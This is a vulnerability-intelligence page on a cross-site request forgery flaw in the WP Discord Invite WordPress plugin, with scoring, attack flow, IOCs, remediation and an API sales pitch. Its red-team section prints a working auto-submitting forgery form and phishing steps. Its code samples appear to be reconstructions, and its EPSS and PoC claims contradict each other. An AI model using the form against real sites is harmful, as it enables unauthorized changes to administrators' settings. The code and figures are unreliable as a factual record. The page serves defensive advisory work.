☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-5006

CVE-2023-5006 Cross-Site Request Forgery in Wp discord invite
📅 PUBLISHED: 2024-01-17 14:31 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-5006 is a Cross-Site Request Forgery (CSRF) vulnerability in the WP Discord Invite WordPress plugin, affecting versions prior to 2.5.1. This flaw allows an unauthenticated attacker to trick a logged-in administrator into performing unintended actions, such as modifying plugin settings or triggering Discord invite-related operations, without the administrator's knowledge. The vulnerability stems from missing CSRF nonce validation on certain plugin actions. Given the WordPress ecosystem context, this issue is specific to the plugin's implementation and not the underlying web server (Apache/Nginx). No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin by checking its checksum against the repository's published hash. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – the victim must be tricked into clicking a crafted link or submitting a form.
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L) – attacker can modify plugin settings but not data.
  • Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires social engineering, but the impact is limited to configuration changes.

Deep Dive & Mechanics

The WP Discord Invite plugin provides functionality to generate Discord invite links and manage related settings. The vulnerability exists because certain administrative actions (e.g., saving settings, generating invites) lack CSRF nonce verification. In WordPress, CSRF tokens (nonces) are used to ensure that requests originate from the legitimate admin interface. Without this protection, an attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, submits a forged request to the vulnerable endpoint.

Attack Flow:

  1. Attacker identifies the vulnerable endpoint (e.g., /wp-admin/admin-post.php?action=wp_discord_invite_save_settings).
  2. Attacker crafts a malicious HTML form that auto-submits to this endpoint with attacker-controlled parameters.
  3. Attacker lures a logged-in WordPress admin to visit the crafted page (e.g., via phishing email or malicious link).
  4. The admin's browser sends the forged request, including their valid session cookies.
  5. The plugin processes the request without checking the CSRF nonce, allowing the attacker to modify plugin settings.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.5.1):

// In wp-discord-invite.php or similar
add_action('admin_post_wp_discord_invite_save_settings', 'wp_discord_invite_save_settings');
function wp_discord_invite_save_settings() {
    // No nonce check
    update_option('wp_discord_invite_settings', $_POST['settings']);
    wp_redirect(admin_url('options-general.php?page=wp-discord-invite'));
}

Patched Code (version 2.5.1):

add_action('admin_post_wp_discord_invite_save_settings', 'wp_discord_invite_save_settings');
function wp_discord_invite_save_settings() {
    // Added nonce verification
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wp_discord_invite_save_settings')) {
        wp_die('Security check failed.');
    }
    update_option('wp_discord_invite_settings', $_POST['settings']);
    wp_redirect(admin_url('options-general.php?page=wp-discord-invite'));
}

Exploitation & Lab Setup

Red Team (Attacker)

Since no public exploit code exists, a manual CSRF attack can be demonstrated:

  1. Craft the malicious HTML page:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=wp_discord_invite_save_settings" method="POST">
    <input type="hidden" name="settings[discord_invite_code]" value="attacker_controlled_code">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
  1. Host the page on an attacker-controlled server or send as an HTML email.
  2. Lure an admin to visit the page. The form auto-submits, changing the Discord invite code to the attacker's value.

Blue Team (Defender)

  • Monitor for unusual admin actions – Look for admin-post.php requests with unexpected parameters, especially from non-admin IPs.
  • Check for missing nonce errors – Enable WordPress debug logging to detect nonce failures.
  • Review plugin settings – Periodically verify that Discord invite codes and other settings have not been tampered with.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /wp-admin/admin-post.php with action=wp_discord_invite_save_settings and no _wpnonce parameter.
  • File: Modified wp_options table entries where option_name is wp_discord_invite_settings with unexpected values.
  • Log: WordPress debug log entries containing "Nonce verification failed" for the plugin's actions.
  • Behavior: Sudden changes to Discord invite codes or plugin settings without admin interaction.

Detection Engineering

YARA Rule

YARA RULE
CVE_2023_5006_WP_Discord_Invite_CSRF
Detects vulnerable WP Discord Invite plugin files missing CSRF nonce
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
CVE-2023-5006 WP Discord Invite CSRF Exploitation Attempt
Detects HTTP requests targeting the vulnerable WP Discord Invite admin action without a nonce parameter.
Logsource: apache · access · webserver  medium
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2023-5006 WP Discord Invite CSRF Attempt
Protocol: HTTP · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

  1. Immediate: Upgrade the WP Discord Invite plugin to version 2.5.1 or later.
  2. Workaround: If immediate upgrade is not possible, disable the plugin until patched.
  3. General: Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce parameter.
  4. Monitoring: Enable WordPress debug logging and monitor for nonce verification failures.
  5. User Training: Educate administrators about phishing risks and the importance of verifying URLs before clicking.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 1 Shodan dork available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-5006/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.